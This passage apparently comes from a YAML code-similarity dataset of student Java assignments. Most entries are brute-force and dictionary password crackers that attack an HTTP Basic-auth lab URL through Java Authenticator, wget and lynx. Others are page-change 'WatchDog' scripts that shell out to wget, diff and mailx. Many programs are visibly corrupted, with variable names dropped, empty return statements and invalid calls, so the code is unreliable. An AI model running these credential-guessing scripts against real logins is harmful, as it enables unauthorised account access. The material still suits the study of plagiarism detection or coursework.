                 HttpURLConnection huc = (HttpURLConnection)url.openConnection();
                 respCode = huc.getResponseCode();
                 InputStream content = huc.getInputStream();
                 BufferedReader in = 
                    new BufferedReader (new InputStreamReader (content));
                 String line;
                 while ((line = in.readLine()) != null) 
                 {
                    pw.println(line);
                 }
              } catch (IOException e) {
                 pw.println("Error  URL");
              }
              return sw.toString();
           }
                    
           class BruteForceAuthenticator extends Authenticator 
           {
              private String username = "";

              protected PasswordAuthentication getPasswordAuthentication()
              {
                 return new PasswordAuthentication(username,generatePassword());
              }

              protected char[] generatePassword()
              {
                 int i,j,k;
                 int n = 26;
                 String letters1 = "qwertyuiopasdfghjklzxcvbnm";
                 String letters2 = "abcdefghijklmnopqrstuvwxyz";
         
                 i=0;
                 j=0;
                 k=0;
           
                 
                 
                 if(t_counter == 0)
                 {
                    length = 1;
                    cases = 0;
                    f_counter = 0;
                 }
                 if(t_counter == 2*n)
                 {
                    length = 2;
                    cases = 0;
                    f_counter = 0;
                 }
                 if(t_counter == (2*n + 4*n*n))
                 {
                    length = 3;
                    cases = 0;
                    f_counter = 0;
                 }

                 char c[] = new char[length];

                 
                 
                 if(length == 1)
                 {
                    if(f_counter == n)
                    {
                       cases++;
                       f_counter = 0;
                    }
                    i = f_counter;

                 } else if(length == 2) 
                 {
                    if(f_counter == n*n)
                    {
                       cases++;
                       f_counter = 0;
                    }
                    i = f_counter/n;
                    j = f_counter - i*n;

                 } else if(length == 3) 
                 {
                    if(f_counter == n*n*n)
                    {
                       cases++;
                       f_counter = 0;
                    }
                    i = f_counter/(n*n);
                    j = (f_counter - i*n*n)/n;
                    k = f_counter - i*n*n - j*n;
                 }

                 
                 switch(cases)
                 {
                    case 0:
                       c[0] = letters1.charAt(i);
                       if(length > 1) c[1] = letters1.charAt(j);
                       if(length > 2) c[2] = letters1.charAt(k);
                       break;
                    case 1:
                       c[0] = Character.toUpperCase(letters1.charAt(i));
                       if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
                       if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
                       break;
                    case 2:
                       c[0] = Character.toUpperCase(letters1.charAt(i));
                       c[1] = letters1.charAt(j);
                       if(length > 2) c[2] = letters1.charAt(k);
                       break;
                    case 3:
                       c[0] = letters1.charAt(i);
                       c[1] = Character.toUpperCase(letters1.charAt(j));
                       if(length > 2) c[2] = letters1.charAt(k);
                       break;
                    case 4:
                       c[0] = letters1.charAt(i);
                       c[1] = letters1.charAt(j);
                       c[2] = Character.toUpperCase(letters1.charAt(k));
                       break;
                    case 5:
                       c[0] = Character.toUpperCase(letters1.charAt(i));
                       c[1] = Character.toUpperCase(letters1.charAt(j));
                       c[2] = letters1.charAt(k);
                       break;
                    case 6:
                       c[0] = letters1.charAt(i);
                       c[1] = Character.toUpperCase(letters1.charAt(j));
                       c[2] = Character.toUpperCase(letters1.charAt(k));
                       break;
                    case 7:
                       c[0] = Character.toUpperCase(letters1.charAt(i));
                       c[1] = letters1.charAt(j);
                       c[2] = Character.toUpperCase(letters1.charAt(k));
                       break;
                    default:
                       break;
                 }

                 f_counter++;
                 t_counter++;

                 password = new String(c);
                 return c;
              }
           }
        }
      - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\npublic class Dictionary\n{\n   public static void main(String args[])\n   {\n      final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n      String basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n      String password;\n      String s = null;\n      int num_tries = 0;\n      \n      try\n      {\n         \n         BufferedReader dict_word = new BufferedReader\n                                  (new FileReader (DICT_FILE));\n  \n         \n         while((password = dict_word.readLine())!= null)\n         {        \n            try \n            {\n               \n               Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n              \n               BufferedReader stdInput = new BufferedReader(new \n                     InputStreamReader(p.getInputStream()));\n\n               BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\n               \n               while ((s = stdInput.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n                  \n               \n               while ((s = stdError.readLine()) != null)\n               {\n                  System.out.println(s);\n               }\n\n               try\n\t       {\n                  p.waitFor(); \n               }\n               catch (InterruptedException g)  \n               {\n               }  \n\n               num_tries++;\n                  \n               if((p.exitValue()) == 0) \n               {       \n                  System.out.println(\"**********PASSWORD IS: \" + password);\n\t          System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n                  System.exit(1);\n               }\n            }\n            catch (IOException e)\n            {\n               System.out.println(\"exception happened - here's what I know: \");\n               e.printStackTrace();\n               System.exit(-1);\n            }\n         }\n         \n         System.out.println(\"DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD\");\n         System.out.println(\"**********Sorry, password was not found in dictionary file\");\n         System.exit(1);\n\n      }\n      catch (FileNotFoundException exception)\n      {\n         System.out.println(exception);\n      }\n      catch (IOException exception)\n      {\n         System.out.println(exception);\n      }\n   }\n}\n  \n"
  - source_sentence: |+






      import java.io.*;
      import java.net.*;



      public class Dictionary
      {
         public static void main (String args[]) throws IOException,
         MalformedURLException
         {
            final String username = "";
            final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
            final String dictfile = "/usr/share/lib/dict/words";
            String temppass;
            String password = "";
            URL url = new URL(fullurl);
            boolean cracked = false;

             startTime = System.currentTimeMillis();

            
            BufferedReader r = new BufferedReader(new FileReader(dictfile));

            while((temppass = r.readLine()) != null && !cracked)
            {  
               
               if(temppass.length() <= 3)
               {
                  
                  if(isAlpha(temppass))
                  {
                     
                     Authenticator.setDefault(new MyAuthenticator(username,temppass));
                     try{
                        BufferedReader x = new BufferedReader(new InputStreamReader(
                           url.openStream()));
                        cracked = true;
                        password = temppass;
                     } catch(Exception e){}
                  }
               }
            }

             stopTime = System.currentTimeMillis();
            
            if(!cracked)
               System.out.println("Sorry, couldnt find the password");
            else
               System.out.println("Password found: "+password);
            System.out.println("Time taken: "+(stopTime-startTime));
         }

         public static boolean isAlpha(String s)
         {
            boolean v = true;
            for(int i=0; i<s.length(); i++)
            {
               if(!Character.isLetter(s.charAt(i)))
                  v = false;
            }
            return ;
         }
      }

    sentences:
      - |
        import java.net.*;
        import java.util.*;

        public class BruteForce {

           public static void main(String[] args) {
              new CrackAttempt();
           }
        }

        class CrackAttempt {
           public CrackAttempt() {
              final int MAX_LENGTH = 3;
              boolean auth = false;
              Date  = new Date();
              boolean morePasswords = true;
              int passPtr = 0;
              StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
              char[] password = new char[MAX_LENGTH];

              password[0] = validChars.charAt(0);
              while (!auth && morePasswords) {
                 String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
                 try {
                    
                    Authenticator.setDefault(new CrackAuth(password));
                    URL url = new URL(resource);
                    HttpURLConnection conn = (HttpURLConnection)url.openConnection();
                    conn.setRequestMethod("HEAD");
                    if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
                       System.out.println("cracked with " + new String(password));
                       auth = true;
                    }
                 } catch (Exception e) {
                    System.out.println(" was  exception: " + e.getMessage());
                 }
                 int count = passPtr;
                 while (true) {
                    if (password[count] == validChars.charAt(validChars.length() - 1)) {
                       password[count] = validChars.charAt(0);
                       count--;
                    } else {
                       password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
                       break;
                    }
                    if (count < 0) {
                       
                       if (passPtr < MAX_LENGTH - 1) {
                          passPtr++;
                          password[passPtr] = validChars.charAt(0);
                       } else {
                          morePasswords = false;
                       }
                       break;
                    }
                 }
                 
              } 
              if (!auth) {
                 System.out.println("Unable  determine password");
              } else {
                  time = (new Date()).getTime() - start.getTime();
                 System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
              }
           }
        }

        class CrackAuth extends Authenticator {
           char[] password;
           public CrackAuth(char[] password) {
              this.password = password;
           }

           protected PasswordAuthentication getPasswordAuthentication()
           {
              String user = "";
              return new PasswordAuthentication(user, password);
           }
        }
      - |-


        public class Base64 {


        static public char[] encode(byte[] data)
        {
            char[] out = new char[((data.length + 2) / 3) * 4];

            
            
            
            
            for (int i=0, index=0; i<data.length; i+=3, index+=4) {
                boolean quad = false;
                boolean trip = false;

                int bat = (0xFF & (int) data[i]);
                bat <<= 8;
                if ((i+1) < data.length) {
                    bat |= (0xFF & (int) data[i+1]);
                    trip = true;
                }
                bat <<= 8;
                if ((i+2) < data.length) {
                   bat  |= (0xFF & (int) data[i+2]);
                    quad = true;
                }
                out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
                bat >>= 6;
                out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
                bat >>= 6;
                out[index+1] = alphabet[bat & 0x3F];
                bat >>= 6;
                out[index+0] = alphabet[ bat & 0x3F];
            }
            return out;
        }

          
        static public byte[] decode(char[] data)
        {
            
            
            
            
            
            

            int tempLen = data.length;
            for( int ix=0; ix<data.length; ix++ )
            {
                if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
                    --tempLen;  
            }
            
            
            
            

            int len = (tempLen / 4) * 3;
            if ((tempLen % 4) == 3) len += 2;
            if ((tempLen % 4) == 2) len += 1;

            byte[] out = new byte[len];



            int shift = 0;   
            int accum = 0;   
            int index = 0;

            
            for (int ix=0; ix<data.length; ix++)
            {
                int value = (data[ix]>255)? -1: codes[ data[ix] ];

                if ( value >= 0 )           
                {
                    accum <<= 6;            
                    shift += 6;             
                    accum |= value;         
                    if ( shift >= 8 )       
                    {
                        shift -= 8;         
                        out[index++] =      
                            (byte) ((accum >> shift) & 0xff);
                    }
                }
                
                
                
                
                
                
            }

            
            if( index != out.length)
            {
                throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
            }

            return out;
        }





        static private char[] alphabet =
            "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
                .toCharArray();




        static private byte[] codes = new byte[256];
        static {
            for (int i=0; i<256; i++) codes[i] = -1;
            for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');
            for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
            for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
            codes['+'] = 62;
            codes['/'] = 63;
        }
        }
      - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\npublic class Dictionary\n{\n\n\n\n    public void crackAddress(String fileName) throws Exception\n    {\n       String line,username=\"\",passwd,pass;\n       int flag=0,i;\n       BufferedReader bf = new BufferedReader(new FileReader(fileName));\n       Runtime run = Runtime.getRuntime();\n       GregorianCalendar =new GregorianCalendar();\n       while((passwd=bf.readLine().trim())!=null)\n       {\n           if((i=passwd.indexOf(\"\\'\"))!= -1)\n                 {\n                    passwd =passwd.substring(0,i)+(\"\\\\\")+(passwd.substring(i,passwd.length()));\n                 }\n\n          System.out.println(\"Hack password with the word:\"+passwd);\n\t      String command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\":\"+passwd+\" -dump\";\n\t      Process result = run.exec(command_line);\n          BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\n        while((line=bf.readLine())!=null)\n        {\n           flag=1;\n           break;\n\n        }\n        if(flag==1)\n        {\n           System.out.println(\"The username is: \"+username+\" The password is: \"+passwd);\n           break;\n        }\n       }\n       GregorianCalendar end=new GregorianCalendar();\n       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n       System.out.println(\"The attack use\"+time+\" seconds.\");\n    }\n\npublic static void main(String args[]) throws Exception\n{\n   Dictionary ds = new Dictionary();\n   ds.crackAddress(args[0]);\n}\n}"
  - source_sentence: |
      package java.httputils;

      import java.io.BufferedInputStream;
      import java.io.BufferedOutputStream;
      import java.io.BufferedReader;
      import java.io.FileInputStream;
      import java.io.FileNotFoundException;
      import java.io.FileOutputStream;
      import java.io.FileReader;
      import java.io.IOException;
      import java.io.OutputStream;


      public class WatchDog
      {
          protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
          protected int interval = 24;
          protected String URL = "http://www.cs.rmit.edu./students/";
          protected String fileName = "WatchDogContent.html";
          protected String command = "./alert_mail.sh";
          protected String savedContent;
          protected String retrievedContent;

          
          public WatchDog()
          {
              super();
          }

          
          public void run() throws Exception
          {
              HttpRequestClient client = null;
              
              
              System.out.println(getClass().getName() +
                              "Retrieving baseline copy of: " + getURL());
              client = new HttpRequestClient(getURL());
              retrievedContent = client.getContent().toString();

              System.out.println(getClass().getName() +
                              "Writing baseline content : " + getFileName());
              writeFile();

              while (true)
              {
                  
                  System.out.println(getClass().getName() +
                                  " Sleeping for hours: " + getInterval());
                  Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval());

                  
                  System.out.println(getClass().getName() +
                                  " Retrieving: " + getURL());

                  client = new HttpRequestClient(getURL());
                  retrievedContent = client.getContent().toString();

                  
                  System.out.println(getClass().getName() +
                                  "  saved copy: " + getURL());
                  savedContent = readFile();

                  
                  System.out.println(getClass().getName() +
                                  " Comparing saved and retrieved. ");
                  if (!savedContent.equals(retrievedContent))
                  {
                      
                      System.out.println(getClass().getName() +
                                      " Difference found. ");

                      writeTempFile();
                      runCommand();
                  }

                  
                  writeFile();
              }
          }


          
          public String runCommand()
          {
              String cmd = getCommand() + " \"" + getURL() + "\"";
              try
              {
                  Runtime r = Runtime.getRuntime();
                  System.out.println(getClass().getName() +
                  " Executing: " + cmd);

                  Process proc = r.exec(cmd);
              }
              catch (Exception e)
              {
                  try
                  {
                      Runtime r = Runtime.getRuntime();
                      Process proc = r.exec(cmd);
                  }
                  catch (Exception ex)
                  {
                      System.out.println(getClass().getName()
                          + " Could not run :"
                          + getCommand()
                          + " because : "
                          + ex.getMessage());
                  }
              }

              return "Executed successfully";
          }

          
          protected String readFile() throws FileNotFoundException
          {
              BufferedInputStream input = null;
              FileInputStream file = null;
              StringBuffer content = new StringBuffer();
              try
              {
                  file = new FileInputStream(getFileName());
                  
                  input = new BufferedInputStream(file);
                  
              }
              catch (FileNotFoundException x)
              {
                  System.err.println("File not found: " + getFileName());
                  throw x;
              }

              try
              {
                  int ch;
                  while ((ch = input.get()) != -1)
                  {
                      content.append((char)ch);
                  }
              }
              catch (IOException x)
              {
                  x.printStackTrace();
              }
              finally
              {
                  if (input != null)
                  {
                      try
                      {
                          input.get();
                          file.get();
                      }
                      catch (IOException e)
                      {
                      }
                  }
              }
              return content.toString();
          }

          
          protected void writeFile() throws Exception
          {
              OutputStream os = null;
              try
              {
                  os = new BufferedOutputStream(
                           new FileOutputStream(getFileName(), false));
                  os.write(getRetrievedContent().getBytes());
              }
              catch (FileNotFoundException e)
              {
                  e.printStackTrace();
                  throw e;
              }
              catch (IOException e)
              {
                  e.printStackTrace();
                  throw e;
              }
              finally
              {
                  if (os != null)
                  {
                      try
                      {
                          os.close();
                      }
                      catch (IOException e)
                      {
                      }
                  }
              }
          }

          
          protected void writeTempFile() throws Exception
          {
              OutputStream os = null;
              try
              {
                  os = new BufferedOutputStream(
                           new FileOutputStream(".html", false));
                  os.write(getRetrievedContent().getBytes());
              }
              catch (FileNotFoundException e)
              {
                  e.printStackTrace();
                  throw e;
              }
              catch (IOException e)
              {
                  e.printStackTrace();
                  throw e;
              }
              finally
              {
                  if (os != null)
                  {
                      try
                      {
                          os.close();
                      }
                      catch (IOException e)
                      {
                      }
                  }
              }
          }

          public static void main(String[] args)
          {
              WatchDog watchDog = new WatchDog();

              if (args.length < 3)
              {
                  watchDog.printUsage();
              }

              
              System.out.println(watchDog.getClass().getName() +
                              ": Initialising with " +
                              args[0] + " \n" +
                              args[1] + " \n" +
                              args[2] + " \n");
              watchDog.setURL(args[0]);
              watchDog.setInterval(Integer.parseInt(args[1]));
              watchDog.setCommand(args[2]);

              
              try
              {
                  System.out.println(watchDog.getClass().getName() + ": Invoking the run method.");
                  watchDog.run();
              }
              catch (Exception e)
              {
                  e.printStackTrace();
              }
          }

          public String printUsage()
          {
              StringBuffer s = new StringBuffer();

              s.append("** WatchDog proper usage **\n\n");
              s.append(
                  this.getClass().getName() +
                  " <URL> <interval> <Command  execute>\n\n");

              return s.toString();
          }

          
          public String getCommand()
          {
              return command;
          }

          
          public String getFileName()
          {
              return fileName;
          }

          
          public int getInterval()
          {
              return interval;
          }

          
          public String getURL()
          {
              return URL;
          }

          
          public void setCommand(String string)
          {
              command = string;
          }

          
          public void setFileName(String string)
          {
              fileName = string;
          }

          
          public void setInterval(int i)
          {
              interval = i;
          }

          
          public void setURL(String string)
          {
              URL = string;
          }

          
          public String getRetrievedContent()
          {
              return retrievedContent;
          }

          
          public String getSavedContent()
          {
              return savedContent;
          }

          
          public void setRetrievedContent(String string)
          {
              retrievedContent = string;
          }

          
          public void setSavedContent(String string)
          {
              savedContent = string;
          }

      }
    sentences:
      - "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n{\n\n\tpublic static void main(String[] args)    \n\t{\n          Runtime rt = Runtime.getRuntime();\n\t  Process pr= null;\n          char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\t  String pass;\n          char temp[] = {'a','a'};\n          char temp1[] = {'a','a','a'};\n          char temp2[] = {'a'};\n\n\t  String f= new String();\n          String resp = new String();\n          int count=0;\n          String success = new String();\n          InputStreamReader  instre;\n          BufferedReader bufread;\n\n\n               for(int k=0;k<52;k++)\n                {\n                 temp2[0]=chars[k];\n                 pass = new String(temp2);              \n                 count++;              \n\n        System.out.println(\"The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n          \n              f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\n                    instre = new InputStreamReader(pr.getErrorStream());\n                                 \n                  \n                    bufread = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n                          if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n                             {\n                              System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n                              System.exit(0);\n                             }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException e){}\n                }\n\n\n\n  \n            for(int j=0;j<52;j++)\n              {\n                for(int k=0;k<52;k++)\n                {\n                 temp[0]=chars[j];\n                 temp[1]=chars[k];\n\n                 pass = new String();              \n                 count++;              \n\n                 System.out.println(\"The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n          \n                f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\n                    instre = new InputStreamReader(pr.getErrorStream());\n                                 \n                  \n                    bufread = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n                          if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n                             {\n                              System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n                              System.exit(0);\n                             }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException e){}\n                 }\n               }\n\n\n     \n         for(int i=0;i<52;i++)\n            for(int j=0;j<52;j++)\n               for(int k=0;k<52;k++)\n                {\n                 temp1[0]=chars[i];\n                 temp1[1]=chars[j];\n                 temp1[2]=chars[k];\n                 pass = new String(temp1);              \n                 count++;              \n\n        System.out.println(\"The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n          \n              f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\n                    instre = new InputStreamReader(pr.getErrorStream());\n                                 \n                  \n                    bufread = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n                          if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n                             {\n                              System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n                              System.exit(0);\n                             }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException e){}\n                }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n"
      - |-
        import java.util.*;
        import java.io.*;



        public class WatchDog {

          public WatchDog() {

          }
          public static void  main(String args[]) {
            DataInputStream newin;

            try{


              System.out.println("Downloading first copy");
              Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
              String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
              String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
              while(true){
                    Thread.sleep(24*60*60*1000);
                    System.out.println("Downloading new copy");
                    Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
                    Thread.sleep(2000);
                    Runtime.getRuntime().exec(cmdDiff);
                    Thread.sleep(2000);
                    newin = new DataInputStream( new FileInputStream( "Diff.txt"));
                    if (newin.readLine() != null){
                       System.out.println("Sending Mail");
                       Runtime.getRuntime().exec(cmdMail);
                       Runtime.getRuntime().exec("cp newfile.html oldfile.html");

                    }
                }

            }
            catch(Exception e){
              e.printStackTrace();
            }

            }

        }
      - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\n\npublic class BruteForce {\n\n\tpublic BruteForce() {\n\t\t\n\t}\n\n\tpublic static void main(String[] args) {\n\n\tString[] validPW = { \"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n\t\t\t\"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\",\n\t\t\t\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\",\n\t\t\t\"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\" };\n\n\tString attackWP = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\tString userID = \"\";\n\tint trytimes = 0;\n\tint count=52;\n\tString userPassword=\"\";\n\ttry {\n\t\t startmillisecond = System.currentTimeMillis();\n\t\n\t\tfor (int i = 0; i < count; i++) {\n                  for (int j = 0; j < count; j++) {\n                    for (int k = 0; k < count; k++) {\n\t\t\ttrytimes ++;\n\t\t\tuserPassword = userID + \":\" + validPW[i] + validPW[j] + validPW[k];\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t    }\n\t\t  }\n\t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n                  for (int j = 0; j < count; j++) {\n\t\t\ttrytimes ++;\n\t\t\tuserPassword = userID + \":\" + validPW[i] + validPW[j];\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t  }\n\t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n\t\t\tuserPassword = userID + \":\" + validPW[i];\n\t\t\ttrytimes ++;\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t}\n\t}\n\tcatch (Exception ioe) {\n            System.out.println(ioe.getMessage());\n        }\n        finally {\n        }\n\t}\n\t\n\tpublic int attackURL(String userPassword, String attackWP) {\n\t\tint rtn = 1;\n\t\ttry {\n\t\t        URL url = new URL(attackWP);\n\t\t\tSystem.out.println(\"User & Password :\" + userPassword);\n\t\t        String encoding = Base64Converter.encode (userPassword.getBytes());\n\t\t\t\n\t\t\tURLConnection uc = url.openConnection();\n\t\t\tuc.setRequestProperty  (\"Authorization\", \" \" + encoding);\n\t\t\tInputStream content = (InputStream)uc.getInputStream();\n\t\t\tBufferedReader in = new BufferedReader (new InputStreamReader (content));\n\t\t\tString line;\n\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\n\t\t\t\tSystem.out.println(line);\n\t\t        }\n\t\t} catch (MalformedURLException e) {\n\t\t\trtn = 2;\n\t       \t\tSystem.out.println(\"Invalid URL\");\n\t\t} catch (IOException e) {\n      \t\t\tSystem.out.println(\"Error  URL\");\n\t\t\trtn = 2;\n\t\t}\n\t\treturn rtn;\n\t}\n\n}\n"
  - source_sentence: |+







      import java.io.*;
      import java.lang.Object;

      public class WatchDog
      {

         
         public static void main(String args[])throws Exception
         {
              Process p1,p2,p3,p4,p5;
              
              for(;;)
              {
                

                String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \"  < change.html"};
                String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
                String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
                String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
                String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
                String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};


                Process p = Runtime.getRuntime().exec("mkdir predir");
                p.waitFor();
                Process p1 = Runtime.getRuntime().exec("mkdir postdir");
                p1.waitFor();

                
                p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
                p1.waitFor();

                Process q2 = Runtime.getRuntime().exec(s2);
                q2.waitFor();
                Process q3 = Runtime.getRuntime().exec(s3);
                q2.waitFor();

                
                Thread.sleep(86400000);

                p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
                p3.waitFor();

                Process q4 = Runtime.getRuntime().exec(s4);
                q4.waitFor();
                Process q5 = Runtime.getRuntime().exec(s5);
                q5.waitFor();

                try
                {
                  String str;
                  p4 = Runtime.getRuntime().exec(s6);
                  DataInputStream inp1 = new DataInputStream(p4.getInputStream());
                  p4.waitFor();
                  
                  System.out.println("The WatchDog - Returns 0 if  change  else 1");
                  System.out.println("Value :" + p4.exitValue());
                  try
                  {
                      while ((str = inp1.readLine()) != null)
                      {
                          System.out.println(str);
                      }
                  }
                  catch (IOException e)
                  {
                      System.exit(0);
                  }

                }
                catch(FileNotFoundException e )
                {
                    e.printStackTrace();
                }

                BufferedReader in = new BufferedReader(new FileReader("change.html"));
                
                if (in.readLine() != null)
                {

                try
                {
                  String str1;
                  p5 = Runtime.getRuntime().exec(s1);
                  DataInputStream inp2 = new DataInputStream(p5.getInputStream());
                  p5.waitFor();
                try
                  {
                      while ((str1 = inp2.readLine()) != null)
                      {
                          System.out.println(str1);
                      }
                  }
                  catch (IOException e1)
                  {
                      System.exit(0);
                  }

                }
                catch(FileNotFoundException exp)
                {
                    exp.printStackTrace();
                }

              }
          }
        }
      }

    sentences:
      - |
        import java.Object;
        import java.io.*;
        import java.String;
        import java.util.*;

        class Dictionary{

              public static void main(String [] args){
                      try
                        {
                        Date d = new Date();
                        String line1="";
                        String ps="";
                        String file1 = "words.txt";
                        String file2 = "index.html";
                        String endline="Authorization failed.";
                        String [] cmd = new String[4];
                        cmd[0] = "wget";
                        cmd[1] = "--http-user=";
                        cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";

                        FileReader fr1 = new FileReader(file1);
                        BufferedReader in1 = new BufferedReader(fr1);
                        while((line1 = in1.readLine())!=null)
                        {
                          try{
                            cmd[2] = connect(line1);
                            Runtime.getRuntime().exec(cmd);
                            if(line1.length()==3)
                              ps = line1;
                            System.out.println(cmd[2]);
                            File f = new File(file2);
                            if(f.exists())
                            {
                            System.out.println("password: " + ps);
                            break;
                            }
                           }
                            catch(IOException ex)
                            {
                                System.out.println("hello1");
                            }

                        }
                        Date end = new Date();
                        System.out.println(d.toString());
                        System.out.println(end.toString());
                        System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));
                       }

                    catch(IOException e)
                    {
                      System.out.println("hello,didnt find file.");
                    }
              }
            public static String connect(String str1)
                    {
                         char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
                         String str = new String(data);
                         return str + str1;
                    }

        }
